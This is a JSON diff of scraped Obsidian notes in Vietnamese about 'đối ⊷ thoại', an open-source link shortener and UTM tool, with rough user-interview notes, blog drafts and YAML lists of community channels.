"Pt" + "Ngày cập nhật": "2024-07-18T06:18:00.000Z", + "id": "Q5" }, { - "Tiêu đề": "Profile QC", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Ξ Kết quả truyền thông/Nơi đăng/Quả Cầu/Profile QC", + "Tiêu đề": "Phỏng vấn Huyền", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/đối ⊷ thoại/4 Kế hoạch/Phỏng vấn Huyền", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "Ξ Kết quả truyền thông", + "Tên dự án": "đối ⊷ thoại", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "# [[Các buổi đáp ứng nhu cầu học lập trình]]\n[[16-11]] 23:55 share từ [[Facebook page QC]] https://www.facebook.com/qua.cau.the.sphere/posts/pfbid02J7yUYGFa5ijJMG79h1fXbrn1g7tvdDC5RMPxzTe4QQdddyypAF4yJFbqRymXjrLjl\n\n[[29-02]] 23:56 4 react, 1 share\n[[29-02]] 23:52 đăng ảnh [[Đồ thị nhu cầu.svg]] https://www.facebook.com/qua.cau.the.sphere/posts/pfbid0pwAGSypSidVCrW3D2A1MKz3o9FvnDPwK8pfQmfDwyS2bXta8bHyCHC7cvqZM474Jl\n23:59 2 like\n[[21-03]] 20:46 12 react, 6 share\n\n# [[Bàn làm việc Google Calendar]]\n[[29-12]]22:30 share từ [[Facebook page QC]] https://www.facebook.com/qua.cau.the.sphere/posts/pfbid02coaf6JZ4P3qLTBrGjncTaXpLPwjgRtHZXpQDYf2E16nuCpGHKzEKtn1xS4PYvbGfl\n[[31-12]]\n0 0 0 \n \n# [[Tự động tạo liên kết UTM hoàn chỉnh chỉ bằng những thông tin tối thiểu (tên bài, nơi đăng)]] \n[[23-02]] 19:27 https://www.facebook.com/qua.cau.the.sphere/posts/pfbid02ta8zL5gLWm3nL7aJS3rwKV6GyjcpvvPCuJeGgrfSi3Dxbu23TEZMsBjYXn9Pq27Ul (share từ [[Facebook page QC]]) \n[[24-02]] 13:07 1 react, 1 share\n\n# [[Câu hỏi khảo sát]]\n[[24-02]] 14:33 https://www.facebook.com/qua.cau.the.sphere/posts/pfbid0am81HWBQLSxBMY9ZCZwxLxRQtmipmA6tYrcb68McLr1oq2kYMHbasFz154biUqYWl\n\n", + "Toàn bộ nội dung": "# Thông tin cơ bản\n## Điều gì khiến em nhận lời phỏng vấn?\n\n# Nhu cầu công việc\nbao cáo, viết content, sự kiện, làm 2d \nctv abg, burn out, cô Hoàng Anh vẫn nói ladfđến học và gặp mọi người. Rất quý. Có một số rất ít là có thực sự quan tâm đến cộng động\nTham gia khoá edu với open. Cái hướng kinh doanh của người ta thì sustainable. Thấy quan điểm giống như là doanh nhân làm ăn, lợi cho người ta hơn là tất cả. Measurable đo đếm được, thấy hợp với cô Ánh với cô Phương\n## Công ty làm về những điều gì?\nagency marketing \nsau đó là freelance content \nsau đó là công ty điện. Nhưng mình có thể làm ddc từ a đến z sếp ngạc nhiên\n\nthấy onjob training ko hiệu quả. Thấy nv ra vô nhiều quá, sale chỉ cần tiền thôi, thấy ko chú trọng đến tính bền vững. Kêu sếp làm \n\nthế mạnh về system thinking, lên quy trình lên kế hoạch. Kế hoạch gãy vì thiếu nhân sự. CÔng ty đó phân phối sp khắp cả nước. ó nhiều phân cấp, thấy chính trị quá. Thất vọng ở đó luôn. Thấy mình giúp họ mà họ ko hiểu\nthông tin sp thì quá là tùm lum, đồ điện thì rất là khó thuộc. Có kế hoạch tập hợp hết các nv sale gom tacit knowledge lại. Word nguwio ta mới điền, excel mới nghe nhưng sếp ko nghe. Cần làm sạch\n\nalpha book rất ổn, nhưng theo israel, ko nói tới nhưng vẫn nói những vấn đề chính trị khác \n\n## Em làm công việc cụ thể nào trong marketing?\n## Em có thường làm digital không?\nDanh sách các acc clone ở công ty cũ. spam link hoặc vào group \n\nđo lường traffic link shoppee\nseeding traffic thì vào cửa hàng, muốn tăng sale thì vào sp\n\nLần gần nhất là lần nào? Bao lâu thì làm một lần?\n\n\n## Có hay đi seeding?\nLần gần nhất là lần nào? Bao lâu thì làm một lần?\n## Khi seeding thì làm những gì?\nlên kịch bản,\nlink sếp tạo\nxuất excel rồi dùng pivot table\n\nmuốn tăng độ nhận diện thì phải chấp nhận sale ko nhiều\nseeding để tăng độ nhận diện thì tăng goup\ncòn tăng ale thì thả link\năn được traffic thì shopee sẽ cho mình lên top\n\ncông ty thì muoonso làm rồi về, còn abg thì thì để mình mở mang cơ hội\n\nko thích khía cạnh mang số, nhưng thích cái khía cạnh truyền thông. Chỉ thích marketing khi sản phẩm thực sự tốt\n\nalpha book đại diện cho thế hệ tri thức chú trọng alafm giàu, thành công đồng nghĩa với hạnh phúc, với giá trị.\n## Có nghe nói tới Google Analytics ko?\n## Có đặt link UTM ko?\nLần gần nhất là lần nào? Bao lâu thì làm một lần?\n## Đặt link utm thường đặt thế nào?\n## Khi nào cảm thấy cần phải đặt link? Khi nào thì ko cần?\nhay xạo vì thấy xung quanh ai cũng xạo, cố tỏ ra ko phải là mình để đc chấp nhận\n\nngười ta ko chấp nhận sự khác biệt, nói cái ko ai nói\n# Mối liên hệ với các tổ chức khác\n## Ngoài công việc chính ra thì thường còn làm những gì?\n## ABG Dịu\n## Hứng thú với những điều gì?\n## Ai sẽ là người có quan tâm đến việc biết lưu lượng người dùng?\n## Nghĩ thế nào về việc theo dõi lưu lượng người dùng?\n## Điều gì sẽ khiến em thoải mái với việc cho người khác theo dõi hành vi của em?\n\n# Quả Cầu\nko biêt gì hết\ntìm hiểu sơ sơ vì tò mò\ntìm hiểu nhiều lĩnh vực, quản lý tri thức, triết học, tâm linh theo kiểu lý thuyết \nmột dự án những bạn trẻ họp lại với nhau cùng chia sẻ tri thức trên một nền tảng webite, Facebook \n\nthấy ý tưởng nó hay nhưng dở dang. Mối quan tâm rất lafroongj, có mục đích nhưng quên rồi.\nbài viết lướt qua có chất lượng, ko phải là khái niệm này là gì do ai . Có tính cá nhân, ó tính chia sẻ, có chiều sâu, nhưng vừa đủ để người ta ko thấy sâu quá để ko hiểu gì hết\n\ngiống spiderum, neuron nhưng thấy nó tùm lum quá\n\nchỉ đọc lướt vì thấy nó chưa có xong, quá trình luoon thay đổi, chưa hoàn thành. GIống như reddit hay quora thì ái gì xong thì đã xong rồi. Thời điểm vô trang lần đầu, vậy ko biết đời nào mới xong, để khi nào xong thì vào cày. Nên dành thời gian cho những thứ đã được chứng thực rồi\nchưa thấy tính hệ thống trong đó\n## Em biết tới QC như thế nào?\n## Ngoài QC ra thì còn đọc những gì?\n- khi có những cái mình ko lý giải được thì sẽ tìm hiểu sâu xa, để hiểu tình huống đó nhiều người có gặp ko để biết mình có làm quá ko\n- xã hộ học tâm lý học giáo dục, hành vi. giúp trả lời những thứ băn khoăn. Ngán phân tâm\n- những thứ liên quan đến văn phòng, mô hình để tối ưu quy trình, kinh nghiệm chuyên môn\n- Mô hình tư duy. tris\n- triết học ko phải ba xu \n- khoa học thường thức\n## Thấy điểm gì giống và khác?\n## Có từng nói chuyện với ai mà có liên quan tới QC chưa?\ntừng recommend cho một đứa bạn, lúc thảo luận về tâm lý, triết học. Thì bạn đó muốn nguồn để đọc thêm, thì có giới thiệu QC, spiderum. Muốn mà đọc rồi bấm link thì lên reddit, quora\nbạn muốn đọc cái hiểu liền\nhay đọc sách vì nghĩ những cái original đến từ sách, còn bài viết là suy nghĩ về những cuốn sách đó\ncó xu hướng lấy những cái hiểu để hiểu, thì cũng 50 50\n\nnguyên bản thì bền hơn\n## Thấy nó có giúp được gì cho em không?\nchưa. \n\nchỉ tin bạn bè, chứ kol cung cạo, như\nbạn bè đọc tiếng nh nhiều hơn, còn tiếng việt thì theo dõi expert \n[Facebook](https://www.facebook.com/Identifight.crysis/photos)\n\n[Facebook](https://www.facebook.com/photo/?fbid=3455005944810139&set=pb.100009023038037.-2207520000)\n\nQuan tâm đến các vấn đề xã hội\n\n# Sau khi đọc xong phần giới thiệu đối ⊷ thoại\nhiểu được mục đích, chưa có hướng dẫn sử dụng\n\nchưa có phần tại sao lại xài cái này mà ko phải là những cái khác\n\nko biết là có dấu hay không dấu\n\nnhập sai ị lỗi ko báo gì cả\n\nTìm bài đăng đã có hoặc dán URL để tạo mới vào hệ thống\n\nbớt chx nhiều hình hơn\n\nthaasyy trong lúc tranh luận dạo. Lúc viết bài thì phải đảm bảo là viết đúng, cần một nơi để tra xem là có thật hay ko/ Ko phải AI thì ko có lỗi AI\n\nlội Facebook thì lâu, kém. google thì bị seo phá tùm lum\n\ntưởng tạo mới là mới hẳn, chưa có ở đâu, ko hiểu là trong hệ thống\n\n\nnhưng người phải đọc nhiều, ko đọc ko chịu được thì sẽ lưu trữ rất nhiều\n\nđọc sách rồi highlight rồi đăng Facebook, Obsidian, quăn tùm lum, phân loại ùm em lioon\nké được của người khác\n\n\n## trấn kỳ\nxoá ví dụ đi, muốn tự dùng ví dụ\n\ngặp xong thấy ko khó hiểu lắm\n\nsản phẩm này khác với các sản phẩm khác như thế nào?\n\ntò mò điểm yếu của yaml\n\n5W1H\n\nko theo kiểu từ A tới b, mà là tổng quát trước. MUoons biết là cái gì trước rồi mới tới cái tại sao\n\nmuốn đặt cái ước gì lên đầu còn những cái còn lại là ồ thú vị muốn xem thêm`\n\ncalendar có cảm xúc hơn", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-03-21T13:46:00.000Z", - "id": "Pu" + "Ngày cập nhật": "2024-07-19T08:04:00.000Z", + "id": "Q6" }, { - "Tiêu đề": "📐 Dự án", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/📐 Dự án", + "Tiêu đề": "Chia sẻ kho kiến thức, tài nguyên đến với mọi người", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/đối ⊷ thoại/9 Blog/Chia sẻ kho kiến thức, tài nguyên đến với mọi người", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "📐 Dự án.md", + "Tên dự án": "đối ⊷ thoại", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "```dataview\nLIST \nFROM \"📐 Dự án\" \nWHERE file.name=split(file.folder, \"/\" )[1]\n```\n# Mục tiêu tháng 11/2023\nNhu cầu:: [[Kendy giải quyết được vấn đề trả lãi]] \nThành quả cần có:: [[Kế hoạch xây dựng cộng đồng phát triển Trấn Kỳ|Một đội ngũ có hứng thú phát triển Trấn Kỳ]]", + "Toàn bộ nội dung": "# **đối ⊷ thoại**: Chương trình tìm và chia sẻ kho kiến thức, tài nguyên đến với mọi người\nNếu bạn cần chia sẻ kho thông tin (vault) của mình tới người khác, đặc biệt là khi bạn đang dùng điện thoại còn người nhận thì không quen dùng Obsidian, thì giải pháp thường là sao chép nội dung ghi chú rồi gửi qua tin nhắn. Nhưng việc đó làm mất liên kết tới các ghi chú khác. Nếu bạn muốn họ có trải nghiệm tương tự như khi dùng Obsidian thì bạn cần tạo website từ kho của mình. Bạn có thể mua gói Publish của Obsidian, hoặc sử dụng các plugin tạo website khác. Nếu nhu cầu bạn dừng ở đó và bạn không thấy có vấn đề gì cả thì bạn cũng không cần đọc tiếp bài này.\n\nRiêng với mình, thì mình gặp những vấn đề sau:\n- **Đường dẫn khi chia sẻ quá dài.** Nếu ghi chú của bạn có tiêu đề là một câu dài và ở sâu trong nhiều cấp thư mục, thì khi chia sẻ trên điện thoại liên kết của nó có khi dài cả một màn hình\n- **Các ký tự tiếng Việt sẽ bị mã hoá trong đường dẫn.** Ví dụ như `tiếng Việt` (10 ký tự) sẽ bị mã hoá thành `ti%E1%BA%BFng%20Vi%E1%BB%87t` (28 ký tự). Điều này không chỉ làm liên kết dài thêm gấp 3 lần, mà còn khiến cho người nhận không biết nội dung nói về cái gì (mà cái gì ta không hiểu thì có thể thấy sợ) \n- **Việc tìm liên kết cũng bất tiện.** Chẳng hiểu sao plugin mình dùng lại làm web tải khá chậm và thanh tìm kiếm không hoạt động được, nên mỗi lần chia sẻ liên kết là lại phải lục theo từng cấp thư mục. Mình có nhiều kho thông tin khác nhau, và mỗi lần tìm thì đều muốn được gợi ý ghi chú ở cả những kho khác (nếu có liên quan với từ khoá) \n- **Không có dữ liệu về người truy cập.** Điều này có thể khắc phục nếu website có cài một dịch vụ phân tích web (VD: Google Analytics, Plausible), nhưng dữ liệu nhận về vẫn còn chung chung chứ không phân biệt được các nguồn khách khác nhau. Như vậy thì chưa đủ để kiểm định một giả thiết cụ thể. Có thể giải quyết được việc này bằng việc thêm các tham số UTM, nhưng đến lượt nó cũng tạo ra những vấn đề mới:\n - Sự tập trung của bạn bị phân tán hơn nữa\n - Liên kết bị dài hơn nữa\n - Không có biểu mẫu để việc điền được thống nhất, không bị lộn xộn\n- Sử dụng một dịch vụ rút gọn liên kết (VD: Bitly, Rebrandly) sẽ giải quyết được vấn đề liên kết quá dài và ký tự tiếng Việt bị mã hoá, nhưng nó cũng không giải quyết được những vấn đề sau:\n - Sự tập trung của bạn bị phân tán hơn nữa, đặc biệt trong lúc chờ web tải xong\n - Không có biểu mẫu để việc điền được thống nhất\n - Không được dùng tên miền của mình, hoặc bị giới hạn số lượng liên kết nếu không trả tiền\n\nQuá mệt mỏi với những vấn đề này, mình đã viết ra **đối ⊷ thoại**.\n\n## Tính năng\n- Là phần mềm tự do và mã nguồn mở\n- Không cần đăng nhập\n- Tìm nhanh những ghi chú được chia sẻ công khai trong kho dữ liệu của bạn, hoặc các bài đăng trên các website, diễn đàn\n- Quản lý và tìm nhanh những cộng đồng bạn muốn mở cuộc đối thoại\n- Tự động tạo liên kết UTM để có thể sử dụng với các chương trình phân tích web khác\n- Tự động rút gọn liên kết với đuôi có ý nghĩa chứ không phải là những ký tự ngẫu nhiên \n- Tự động tạo nội dung sẽ được dùng để đối thoại dựa trên ghi chú của bạn\n- Thống kê số lượng truy cập tới liên kết được chia sẻ\n- Mọi khai báo cấu hình đều trên tệp văn bản thuần\n\n## Triết lý phát triển\n- **Lấy nhu cầu của các tổ chức phi lợi nhuận làm trung tâm:** thúc đẩy các cuộc đối thoại trong cộng đồng theo các mục tiêu phát triển bền vững, thúc đẩy sự hợp tác đa bên, liên ngành\n- **Dành cho người Việt:** không gặp vấn đề với các ký tự tiếng Việt và kết quả được viết theo cách người Việt dùng ngôn ngữ\n- **Đảm bảo sự tự do và tự trị dữ liệu của người dùng:** dễ dàng tích hợp với các hệ thống bạn đang dùng (VD: Obsidian)\n- **Hướng đến việc nâng đỡ người còn cảm thấy lập trình là một thứ đáng sợ**\n\n## Cách dùng\nBạn có thể ghé thăm trang web của chương trình và dùng nó ngay lập tức như các dịch vụ như Bitly. Nếu bạn muốn nhập dữ liệu với số lượng lớn thì có thể gửi mình danh sách bài đăng và nơi đăng của bạn. Hoặc nếu muốn sử dụng bằng tên miền và hệ thống riêng của bạn thì làm theo hướng dẫn ở readme trong GitHub. Nếu bạn có thắc mắc gì thì cứ hỏi mình.\n\nẢnh: cách mình đã tạo ra liên kết ở dưới này 👇 \n\n👉 Liên kết:", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-28T15:40:00.000Z", - "Ngày cập nhật": "2023-11-04T19:15:00.000Z", - "id": "Pv" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-07-18T06:17:00.000Z", + "id": "Q7" }, { - "Tiêu đề": "LibGen", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Cộng đồng online/LibGen", + "Tiêu đề": "Giới thiệu đối ⊷ thoại", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/đối ⊷ thoại/9 Blog/Giới thiệu đối ⊷ thoại", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { + "Tên dự án": "đối ⊷ thoại", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: ", + "Toàn bộ nội dung": "## *đối ⊷ thoại* dành cho ai?\n- [[Mở các cuộc đối thoại với cộng đồng|Người muốn mở các cuộc đối thoại với cộng đồng]]\n- [[Rút gọn liên kết và thống kê lưu lượng truy cập cho các dự án, tổ chức hiện diện trên nhiều nền tảng|Các dự án, tổ chức hiện diện trên nhiều nền tảng]]\n- [[Liên kết tiếng Việt|Người Việt]]\n- [[Chia sẻ kho kiến thức, tài nguyên đến với mọi người|Người dùng Obsidian hoặc các chương trình lưu dữ liệu tại máy người dùng]]\n- [[Tăng độ nhận biết và huy động sự quan tâm tới những nguồn tài nguyên quan trọng|Các mạng lưới, hệ sinh thái]]\n\n## *đối ⊷ thoại* giúp được gì?\n- [[Thử nghiệm các ý tưởng đối thoại với cộng đồng hiệu quả hơn]]\n- [[Chia sẻ kho kiến thức, tài nguyên đến với mọi người]]\n- [[Tăng độ nhận biết và huy động sự quan tâm tới những nguồn tài nguyên quan trọng]]\n- Nâng cao ý thức về quyền tự trị dữ liệu và các chương trình lưu dữ liệu tại máy người dùng\n- Nâng đỡ người còn cảm thấy lập trình là một thứ đáng sợ\n\n## Các kho thông tin có trên *đối ⊷ thoại*\n- [Obsidian, quản lý dự án và công cụ nghĩ](https://obsidian.quảcầu.cc/?utm_source=W+Giới+thiệu+đối+⊷+thoại&utm_medium=Website&utm_campaign=&utm_content=&utm_term=)\n- [Lập trình và các công cụ số](https://lậptrình.quảcầu.cc/?utm_source=W+Giới+thiệu+đối+⊷+thoại&utm_medium=Website&utm_campaign=&utm_content=&utm_term=)\n- [Tồn tại trong thế giới tư bản](https://kiếmtiền.quảcầu.cc/?utm_source=W+Giới+thiệu+đối+⊷+thoại&utm_medium=Website&utm_campaign=&utm_content=&utm_term=)\n\nSẽ ra mắt:\n- Vùng đất Quả Cầu\n- Mạng kết nối nhu cầu\n- Học kỹ năng, phát triển bản thân\n- Mạng lưới người thân, bạn bè của người có niềm tin tiêu cực\n- Niềm tin và đối thoại\n- Nghiên cứu liên ngành\n\nBạn có thể vào thư mục [Cấu hình và dữ liệu](https://doi-thoai.deno.dev/Cấu%20%hình%20%và%20%dữ%20%liệu.1n.1) để xem toàn bộ danh sách bài đăng và nơi đăng đã được nạp sẵn.\n\n[[Hướng dẫn sử dụng]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-08-01T17:58:00.000Z", - "Ngày cập nhật": "2024-08-01T17:58:00.000Z", - "id": "Pw" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-08-02T06:04:00.000Z", + "id": "Q8" }, { - "Tiêu đề": "Không reply sau 3 tháng", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Cộng đồng online/Obsidian/Không reply sau 3 tháng", + "Tiêu đề": "Hướng dẫn sử dụng", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/đối ⊷ thoại/9 Blog/Hướng dẫn sử dụng", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { + "Tên dự án": "đối ⊷ thoại", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n[Why do Internet forums tend to prohibit responding to inactive threads?](https://communitybuilding.stackexchange.com/q/2632/961)\nNguồn:: ", + "Toàn bộ nội dung": "# Bối cảnh\nVD: lý do khiến bài đăng trở nên hữu ích tại nơi đăng, sự khác biệt so với những lần đăng trước, v.v.\n\n# Cách slug nơi đăng được tạo\nSlug nơi đăng: tên nơi đăng hoặc URL\n\n# Cách đuôi rút gọn được tạo\nid theo cơ số 64", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-08-31T10:17:00.000Z", - "Ngày cập nhật": "2024-08-31T10:49:00.000Z", - "id": "Px" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-07-18T06:17:00.000Z", + "id": "Q9" }, { - "Tiêu đề": "SO không xem mình là trang dạy kiến thức", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Cộng đồng online/Stack Exchange/SO không xem mình là trang dạy kiến thức", + "Tiêu đề": "Liên kết tiếng Việt", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/đối ⊷ thoại/9 Blog/Liên kết tiếng Việt", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { + "Tên dự án": "đối ⊷ thoại", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Lĩnh vực:: \nNhu cầu công nghệ::\n", + "Toàn bộ nội dung": "# Không gặp vấn đề với các ký tự tiếng Việt \n\n**Các ký tự tiếng Việt sẽ bị mã hoá trong đường dẫn.** Ví dụ như `tiếng Việt` (10 ký tự) sẽ bị mã hoá thành `ti%E1%BA%BFng%20Vi%E1%BB%87t` (28 ký tự). Điều này không chỉ làm liên kết dài thêm gấp 3 lần, mà còn khiến cho người nhận không biết nội dung nói về cái gì (mà cái gì ta không hiểu thì có thể thấy sợ) \n\nXử lý các vấn đề về Unicode\n# Kết quả được viết theo cách người Việt dùng ngôn ngữ\n\nTheo trật tự cú pháp của người Việt", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-08-25T18:21:00.000Z", - "Ngày cập nhật": "2024-08-26T06:49:00.000Z", - "id": "Py" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-07-18T06:17:00.000Z", + "id": "QA" }, { - "Tiêu đề": "Stack Exchange", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Cộng đồng online/Stack Exchange/Stack Exchange", + "Tiêu đề": "Mở các cuộc đối thoại với cộng đồng", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/đối ⊷ thoại/9 Blog/Mở các cuộc đối thoại với cộng đồng", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { + "Tên dự án": "đối ⊷ thoại", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "- Comment hỏi tại sao bị downvote sẽ bị xoá [Is asking for \"how to improve the question\" a reason to delete a comment?](https://meta.stackoverflow.com/q/386369/3416774)\n- Không thể bắt buộc giải thích tại sao downvote [Why isn't it required to provide comments/feedback for downvotes, and why are proposals suggesting this so negatively received?](https://meta.stackoverflow.com/q/357436/3416774)\n- Mod quản lý một ngày cả trăm flag", + "Toàn bộ nội dung": "```yaml\nDiễn đàn:\n Facebook:\n Nhóm:\n - Obsidian - Não hai\n Reddit:\n Subreddit:\n - r/ObsidianMD\n - r/googlekeep\nChat:\n Messenger:\n Cộng đồng:\n - Obsidian - Second Brain:\n - Não hai 🧠\n Discord:\n Máy chủ:\n - Obsidian:\n - \"#tiếng-việt\"\n\nSlug:\n obs:\n - r/ObsidianMD\n - \"#tiếng-việt\"\n obsvn:\n - Obsidian - Não hai\n - Não hai 🧠\n\n```", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-26T06:49:00.000Z", - "id": "Pz" + "Ngày cập nhật": "2024-07-18T06:17:00.000Z", + "id": "QB" }, { - "Tiêu đề": "Teamliquid, Liquidpedia, tl.net", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Cộng đồng online/Teamliquid, Liquidpedia, tl.net", + "Tiêu đề": "Rút gọn liên kết và thống kê lưu lượng truy cập cho các dự án, tổ chức hiện diện trên nhiều nền tảng", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/đối ⊷ thoại/9 Blog/Rút gọn liên kết và thống kê lưu lượng truy cập cho các dự án, tổ chức hiện diện trên nhiều nền tảng", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { + "Tên dự án": "đối ⊷ thoại", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "| Site | Description | Game |\n| ------------------------------------------------------------------------------------- | --------------------------------------------------------- | ----------------- |\n| teamliquid.net | Private website of the organization Team Liquid | Many |\n| tl.net | Community forum | Mostly BW and SC2 |\n| liquipedia | Community wikis | Many |\n| [TeamLiquid Progaming Database](https://tl.net/tlpd/ \"TeamLiquid Progaming Database\") | A database of professional players, tournaments and games | Mostly BW and SC2 |\n", + "Toàn bộ nội dung": "# **đối ⊷ thoại**: Rút gọn liên kết và thống kê lưu lượng truy cập cho các dự án, tổ chức hiện diện trên nhiều nền tảng\nMột tổ chức, mạng lưới có nhiều dự án, sản phẩm khác nhau giống như một vùng đất có nhiều lối vào và lối ra. Những người đến vùng đất đó có những lộ trình khác nhau. Việc cải thiện trải nghiệm của họ đòi hỏi những người đang xây dựng vùng đất đó biết được họ đã đến nơi này như thế nào.\n\nLấy ví dụ, đây là những cộng đồng do anh Bùi Quang Tinh Tú sáng lập ra và các hiện diện của chúng trên các nền tảng khác nhau:\n```yaml\nDiễn đàn:\n Facebook:\n Tài khoản:\n - Bui Quang Tinh Tu https://fb.com/buiquangtinhtu\n Nhóm:\n - UAN Marketing https://www.facebook.com/groups/uanvn/\n - DigiFin - Cộng Đồng Tài Chính Doanh Nghiệp https://www.facebook.com/groups/digifin\n - EDU★INFLUENCE - Cộng Đồng Cải Tiến Giáo Dục https://www.facebook.com/groups/eduinfluence\n - Người Hướng Nội Hiện Đại https://www.facebook.com/groups/huongnoihiendai\n - Mẹ Đơn Thân Vui Vẻ https://www.facebook.com/groups/medonthantainhat\n Trang:\n - Edu Influence https://www.facebook.com/eduinfluence.official\n - UAN Marketing https://www.facebook.com/uanvietnam\n - DigiFin https://www.facebook.com/digifin.official\n - The Modern Introvert - Người Hướng Nội Hiện Đại https://www.facebook.com/huongnoihiendai\n LinkedIn:\n Trang:\n - UAN Marketing https://www.linkedin.com/company/uan-vn/\n YouTube:\n Kênh:\n - UAN Marketing https://www.youtube.com/@UANMarketing\n Spotify:\n Kênh:\n - UAN Marketing https://open.spotify.com/show/5HcCuRlemSUQBSpE01jyLb?si=3b7c240a728743c4\nChat:\n Telegram:\n Nhóm:\n - UAN Marketing:\n - Tự giới thiệu dịch vụ https://t.me/uan_mkt/864\n - General https://t.me/uan_mkt/1\n Zalo:\n Nhóm:\n - Common Good Alliance https://zalo.me/g/rfthsv401\n Messenger:\n Nhóm:\n - Social Impact Member Group\nWebsite:\n - Common Good Alliance https://good.uan.vn/\n - Conversion https://conversion.vn/\nSaaS:\n Google:\n Form:\n - Community Registration Form https://docs.google.com/forms/d/e/1FAIpQLSeT6QlGtAtTknBInCT6nmxRJLEm1S_jU6Fb30ub9JsYAQZknw/viewform\n```\n\nCó rất nhiều điểm để chạm vào mạng lưới các cộng đồng này, tuỳ vào nhu cầu của mỗi người. (Hai triết gia Deleuze và Guattari hẳn sẽ gọi đây là *một vùng đất có nhiều lối vào*.) Nếu bạn cũng đang muốn phát triển một vùng đất như vậy, có thể bạn sẽ cần **phân loại được các nguồn truy cập** đến vùng đất của bạn. Nếu điểm đến của người dùng là một website do bạn quản lý, thì bạn có thể sử dụng một dịch vụ phân tích web (VD: Google Analytics, Plausible) và gắn các tham số UTM vào liên kết của bạn. Tuy nhiên nó có những nhược điểm sau:\n- **Liên kết bị dài và xấu hơn.** Ví dụ, các ký tự tiếng Việt như `tiếng Việt` (10 ký tự) sẽ bị mã hoá thành `ti%E1%BA%BFng%20Vi%E1%BB%87t` (28 ký tự). Điều này không chỉ làm liên kết dài thêm gấp 3 lần, mà còn khiến cho người dùng không biết nội dung nói về cái gì (mà cái gì ta không hiểu thì có thể thấy sợ) \n- **Chỉ áp dụng được đối với những website do bạn quản lý.** Trong khi đó sự hiện diện của bạn trên các nền tảng khác cũng quan trọng. Như bạn thấy trong danh sách trên thì các hiện diện đó mới là chính, chứ phần website quá nhỏ, và thường cũng không quan trọng (trừ khi nguồn truy cập chính của bạn là từ Google) \n- **Không có gợi ý để việc điền thông tin được thống nhất.** Mỗi nền tảng có một hệ thống thuật ngữ cho việc phân cấp khác nhau, và mỗi vị trí đăng thì lại có những vị trí đăng nhỏ hơn. Ví dụ như phần giới thiệu ở các nền tảng khác nhau có thể được gọi là description, about, bio. Hoặc việc đăng liên kết ở một bài đăng có thể là ở trong nội dung chính, dưới bình luận, trong ảnh dưới dạng QR, hoặc trong ảnh dưới dạng chữ. Nếu có nhiều người cùng làm công việc tạo liên kết UTM thì bạn phải viết hướng dẫn và họ phải chịu khó đọc hướng dẫn đó. Và kể cả khi đã làm vậy rồi thì sự lộn xộn vẫn luôn có cách để ám bạn\n- **Phải điền thông tin thủ công.** Điều này làm phân tán sự tập trung của bạn cho công việc quan trọng hơn \n\nVới hai vấn đề đầu tiên, các dịch vụ như Bitly, Rebrandly sẽ giúp rút gọn liên kết của bạn. Tuy nhiên đến lượt nó cũng có những vấn đề khác:\n- **Bị giới hạn chức năng.** Bạn không được dùng tên miền của riêng bạn, hoặc bị giới hạn số lượng liên kết nếu không trả tiền\n- **Slug được tạo tự động chỉ là những ký tự ngẫu nhiên**. Nếu muốn dùng slug riêng thì cũng lại không có gợi ý để việc tạo slug được thống nhất\n- **Phải tạo liên kết thủ công.** Điều này làm phân tán sự tập trung của bạn cho công việc quan trọng hơn \n\nQuá mệt mỏi với những vấn đề này, mình đã viết ra **đối ⊷ thoại**.\n\n# Tính năng\n- Là phần mềm tự do và mã nguồn mở\n- Không cần đăng nhập\n- Tìm nhanh những ghi chú được chia sẻ công khai trong kho dữ liệu của bạn, hoặc các bài đăng trên các website, 